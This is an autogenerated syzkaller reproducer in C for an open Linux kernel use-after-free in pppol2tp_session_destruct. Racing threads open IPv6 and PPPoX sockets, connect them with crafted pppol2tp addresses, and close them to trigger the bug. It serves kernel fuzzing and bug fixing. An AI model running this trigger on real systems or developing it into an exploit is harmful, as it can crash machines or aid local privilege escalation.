syzkaller-repros/linux/a2c1393a92634b515391d1e54519dda3fd87e86c.c

// KASAN: use-after-free Read in pppol2tp_session_destruct
// https://syzkaller.appspot.com/bug?id=a2c1393a92634b515391d1e54519dda3fd87e86c
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/futex.h>

static void sleep_ms(uint64_t ms)
{
  usleep(ms * 1000);
}

static uint64_t current_time_ms()
{
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
  return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
  pthread_t th;
  pthread_attr_t attr;
  pthread_attr_init(&attr);
  pthread_attr_setstacksize(&attr, 128 << 10);
  if (pthread_create(&th, &attr, fn, arg))
    exit(1);
  pthread_attr_destroy(&attr);
}

typedef struct {
  int state;
} event_t;

static void event_init(event_t* ev)
{
  ev->state = 0;
}

static void event_reset(event_t* ev)
{
  ev->state = 0;
}

static void event_set(event_t* ev)
{
  if (ev->state)
    exit(1);
  __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
  syscall(SYS_futex, &ev->state, FUTEX_WAKE);
}

static void event_wait(event_t* ev)
{
  while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
    syscall(SYS_futex, &ev->state, FUTEX_WAIT, 0, 0);
}

static int event_isset(event_t* ev)
{
  return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
  uint64_t start = current_time_ms();
  uint64_t now = start;
  for (;;) {
    uint64_t remain = timeout - (now - start);
    struct timespec ts;
    ts.tv_sec = remain / 1000;
    ts.tv_nsec = (remain % 1000) * 1000 * 1000;
    syscall(SYS_futex, &ev->state, FUTEX_WAIT, 0, &ts);
    if (__atomic_load_n(&ev->state, __ATOMIC_RELAXED))
      return 1;
    now = current_time_ms();
    if (now - start > timeout)
      return 0;
  }
}

#define SYZ_HAVE_SETUP_TEST 1
static void setup_test()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
}

#define SYZ_HAVE_RESET_TEST 1
static void reset_test()
{
  int fd;
  for (fd = 3; fd < 30; fd++)
    close(fd);
}

struct thread_t {
  int created, call;
  event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
  struct thread_t* th = (struct thread_t*)arg;
  for (;;) {
    event_wait(&th->ready);
    event_reset(&th->ready);
    execute_call(th->call);
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    event_set(&th->done);
  }
  return 0;
}

static void execute_one()
{
  int call, thread;
  for (call = 0; call < 7; call++) {
    for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
      struct thread_t* th = &threads[thread];
      if (!th->created) {
        th->created = 1;
        event_init(&th->ready);
        event_init(&th->done);
        event_set(&th->done);
        thread_start(thr, th);
      }
      if (!event_isset(&th->done))
        continue;
      event_reset(&th->done);
      th->call = call;
      __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
      event_set(&th->ready);
      event_timedwait(&th->done, 25);
      if (__atomic_load_n(&running, __ATOMIC_RELAXED))
        sleep_ms((call == 7 - 1) ? 10 : 2);
      break;
    }
  }
}

static void execute_one();

#define WAIT_FLAGS __WALL

static void loop()
{
  int iter;
  for (iter = 0;; iter++) {
    int pid = fork();
    if (pid < 0)
      exit(1);
    if (pid == 0) {
      setup_test();
      execute_one();
      reset_test();
      exit(0);
    }
    int status = 0;
    uint64_t start = current_time_ms();
    for (;;) {
      if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
        break;
      sleep_ms(1);
      if (current_time_ms() - start < 5 * 1000)
        continue;
      kill(-pid, SIGKILL);
      kill(pid, SIGKILL);
      while (waitpid(-1, &status, WAIT_FLAGS) != pid) {
      }
      break;
    }
  }
}

uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};

void execute_call(int call)
{
  long res;
  switch (call) {
  case 0:
    res = syscall(__NR_socket, 0xa, 2, 0);
    if (res != -1)
      r[0] = res;
    break;
  case 1:
    res = syscall(__NR_socket, 0x18, 1, 1);
    if (res != -1)
      r[1] = res;
    break;
  case 2:
    *(uint16_t*)0x20000080 = 0x18;
    *(uint32_t*)0x20000082 = 1;
    *(uint32_t*)0x20000086 = 0;
    *(uint32_t*)0x2000008a = r[0];
    *(uint16_t*)0x2000008e = 2;
    *(uint16_t*)0x20000090 = htobe16(0);
    *(uint32_t*)0x20000092 = htobe32(0xe0000002);
    *(uint8_t*)0x20000096 = 0;
    *(uint8_t*)0x20000097 = 0;
    *(uint8_t*)0x20000098 = 0;
    *(uint8_t*)0x20000099 = 0;
    *(uint8_t*)0x2000009a = 0;
    *(uint8_t*)0x2000009b = 0;
    *(uint8_t*)0x2000009c = 0;
    *(uint8_t*)0x2000009d = 0;
    *(uint32_t*)0x2000009e = 4;
    *(uint32_t*)0x200000a2 = 0;
    *(uint32_t*)0x200000a6 = 0;
    *(uint32_t*)0x200000aa = 0;
    syscall(__NR_connect, r[1], 0x20000080, 0x2e);
    break;
  case 3:
    res = syscall(__NR_socket, 0x18, 1, 1);
    if (res != -1)
      r[2] = res;
    break;
  case 4:
    *(uint16_t*)0x20000180 = 0x18;
    *(uint32_t*)0x20000182 = 1;
    *(uint32_t*)0x20000186 = 0;
    *(uint32_t*)0x2000018a = -1;
    *(uint16_t*)0x2000018e = 2;
    *(uint16_t*)0x20000190 = htobe16(0);
    *(uint32_t*)0x20000192 = htobe32(0xe0000001);
    *(uint8_t*)0x20000196 = 0;
    *(uint8_t*)0x20000197 = 0;
    *(uint8_t*)0x20000198 = 0;
    *(uint8_t*)0x20000199 = 0;
    *(uint8_t*)0x2000019a = 0;
    *(uint8_t*)0x2000019b = 0;
    *(uint8_t*)0x2000019c = 0;
    *(uint8_t*)0x2000019d = 0;
    *(uint32_t*)0x2000019e = 4;
    *(uint32_t*)0x200001a2 = 8;
    *(uint32_t*)0x200001a6 = 0;
    *(uint32_t*)0x200001aa = 0;
    syscall(__NR_connect, r[2], 0x20000180, 0x2e);
    break;
  case 5:
    syscall(__NR_close, r[0]);
    break;
  case 6:
    syscall(__NR_close, r[2]);
    break;
  }
}
int main()
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  loop();
  return 0;
}